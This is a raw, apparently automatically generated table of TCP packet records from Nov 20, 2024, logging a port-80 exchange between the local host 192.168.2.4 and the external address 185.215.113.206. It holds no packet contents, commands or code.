Nov 20, 2024 12:57:54.329051018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329072952 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329087019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329150915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329161882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329173088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329181910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329183102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329197884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329216003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329389095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329400063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329411030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329421997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329428911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329433918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329440117 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329461098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329602957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329612970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329623938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329633951 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329658031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329816103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329827070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329837084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329847097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329858065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329868078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329879045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329879045 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329890966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329900026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329902887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.329914093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.329941988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330327988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330338001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330348969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330358982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330360889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330374002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330382109 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330384970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330395937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330406904 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330408096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330426931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330446005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330671072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330682039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330691099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330702066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330712080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330713034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330723047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330735922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330743074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330749035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330761909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.330768108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330787897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.330810070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331134081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331145048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331156015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331165075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331175089 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331176043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331188917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331193924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331201077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331211090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331222057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331227064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331252098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331252098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331270933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331440926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331453085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331461906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331466913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331485033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331501007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331604004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331619978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331630945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331635952 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331643105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331649065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331653118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331660986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331665993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331676006 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331676960 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331686020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331691027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331702948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331712008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331715107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331726074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331737041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331741095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331748009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331758022 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331760883 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331775904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.331792116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.331819057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332458973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332469940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332479954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332490921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332499981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332505941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332511902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332520962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332523108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332535028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332535982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332545996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332556009 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332561970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332567930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332578897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332588911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332597971 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332614899 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.332988024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.332998991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333009005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333019018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333023071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333029985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333039999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333041906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333054066 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333061934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333071947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333080053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333086014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333095074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333097935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333127975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333364964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333374977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333384991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333395004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333400011 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333409071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.333424091 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.333446980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.365366936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365386963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365398884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365411043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365437984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.365483046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365495920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365508080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365514040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.365514040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.365516901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.365545988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.365572929 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416343927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416368008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416380882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416436911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416450977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416528940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416541100 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416542053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416584015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416584015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416687965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416702032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416713953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416724920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416728020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416732073 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416740894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416742086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416759014 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416766882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416791916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.416965008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.416979074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417020082 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417088985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417100906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417114019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417119980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417128086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417129993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417140961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417155027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417160034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417169094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417191029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417198896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417215109 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417479038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417490959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417503119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417515993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417525053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417529106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417536020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417545080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417565107 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417586088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417757988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417772055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417790890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417792082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417805910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417805910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417819977 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417820930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417834997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.417841911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417851925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.417865038 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418047905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418061018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418072939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418076992 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418085098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418098927 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418100119 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418124914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418150902 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418152094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418165922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418179035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418179035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418190956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418194056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418205023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418205976 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418219090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418221951 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418231964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418231964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418246031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418247938 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418265104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418282986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418875933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418890953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418903112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418915987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418922901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418929100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418931007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418941975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418956041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418962002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418975115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.418976068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.418989897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419002056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419003010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419009924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419017076 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419028044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419034004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419040918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419048071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419049978 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419061899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419069052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419075012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.419079065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419096947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.419117928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.422612906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.422626019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.422635078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.422646046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.422655106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.422667027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.422684908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.422712088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.466939926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.473283052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686252117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686271906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686290026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686297894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686302900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686315060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686330080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686341047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686352015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686364889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686373949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686383963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686393976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686404943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686413050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686423063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686434984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686439037 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.686446905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686459064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686469078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686479092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686489105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686499119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686508894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686518908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686522961 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.686530113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686541080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686549902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686561108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686568975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686572075 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.686580896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686592102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686599970 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.686604023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686615944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.686625957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.686650038 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.855631113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855650902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855662107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855720043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855730057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855740070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855750084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855792046 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.855832100 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:54.855967045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855978012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855988026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:54.855998039 CET	80	49756	185.215.113.206	192.168.2.4
